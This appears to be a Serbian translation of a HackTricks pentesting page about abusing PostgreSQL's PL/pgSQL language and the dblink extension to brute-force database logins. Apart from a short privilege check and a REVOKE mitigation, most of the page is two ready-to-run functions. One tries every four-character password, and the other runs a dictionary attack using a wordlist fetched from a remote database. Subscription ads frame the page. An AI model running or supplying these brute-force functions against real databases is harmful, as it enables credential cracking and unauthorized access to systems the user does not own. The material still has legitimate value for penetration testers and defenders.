Da li radite u kompaniji za kibernetičku bezbednost? Želite li da vidite vašu kompaniju reklamiranu na HackTricks-u? Ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu? Proverite SUBSCRIPTION PLANS!
PL/pgSQL je potpuno opremljen programski jezik koji prevazilazi mogućnosti SQL-a nudeći unapređenu proceduralnu kontrolu. Ovo uključuje korišćenje petlji i različitih kontrolnih struktura. Funkcije kreirane u jeziku PL/pgSQL mogu biti pozvane SQL naredbama i okidačima, proširujući opseg operacija unutar baze podataka.
Možete zloupotrebiti ovaj jezik kako biste zatražili od PostgreSQL-a da brute-force napadne korisničke akreditive, ali oni moraju postojati u bazi podataka. Možete proveriti da li postoji koristeći:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+---------plpgsql |
Po defaultu, kreiranje funkcija je privilegija koja je dodeljena javnosti (PUBLIC), gde PUBLIC se odnosi na svakog korisnika u tom sistemu baze podataka. Da bi se to sprečilo, administrator bi mogao da povuče privilegiju USAGE iz domena PUBLIC:
REVOKE ALL PRIVILEGES ONLANGUAGE plpgsql FROM PUBLIC;
U tom slučaju, naš prethodni upit bi prikazao različite rezultate:
SELECT lanname,lanacl FROM pg_language WHERE lanname ='plpgsql';lanname | lanacl---------+-----------------plpgsql | {admin=U/admin}
Napomena da bi sledeći skript radio, funkcija dblink mora postojati. Ako ne postoji, možete pokušati da je kreirate sa
CREATE EXTENSION dblink;
Brute Force napad na lozinke
Evo kako možete izvršiti Brute Force napad na lozinke sa 4 karaktera:
//Create the brute-forcefunctionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$DECLAREword TEXT;BEGINFOR a IN65..122LOOPFOR b IN65..122LOOPFOR c IN65..122LOOPFOR d IN65..122LOOPBEGINword := chr(a) || chr(b) || chr(c) || chr(d);PERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnectionTHEN-- do nothingEND;ENDLOOP;ENDLOOP;ENDLOOP;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql';//Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Napomena da čak i pokušaj brute-force napada sa 4 karaktera može trajati nekoliko minuta.
Takođe možete preuzeti wordlistu i isprobati samo te lozinke (napad rečnikom):
//Create the functionCREATE OR REPLACEFUNCTIONbrute_force(host TEXT, port TEXT,username TEXT, dbname TEXT) RETURNSTEXTAS$$BEGINFOR word IN (SELECT word FROM dblink('host=1.2.3.4user=namepassword=qwertydbname=wordlists','SELECT word FROM wordlist')RETURNS (word TEXT)) LOOPBEGINPERFORM(SELECT*FROM dblink(' host='|| host ||' port='|| port ||' dbname='|| dbname ||' user='|| username ||' password='|| word,'SELECT 1')RETURNS (i INT));RETURN word;EXCEPTIONWHEN sqlclient_unable_to_establish_sqlconnection THEN-- do nothingEND;ENDLOOP;RETURNNULL;END;$$ LANGUAGE'plpgsql'-- Call the functionselect brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Da li radite u cybersecurity kompaniji? Želite li da vidite svoju kompaniju reklamiranu na HackTricks-u? Ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu? Proverite SUBSCRIPTION PLANS!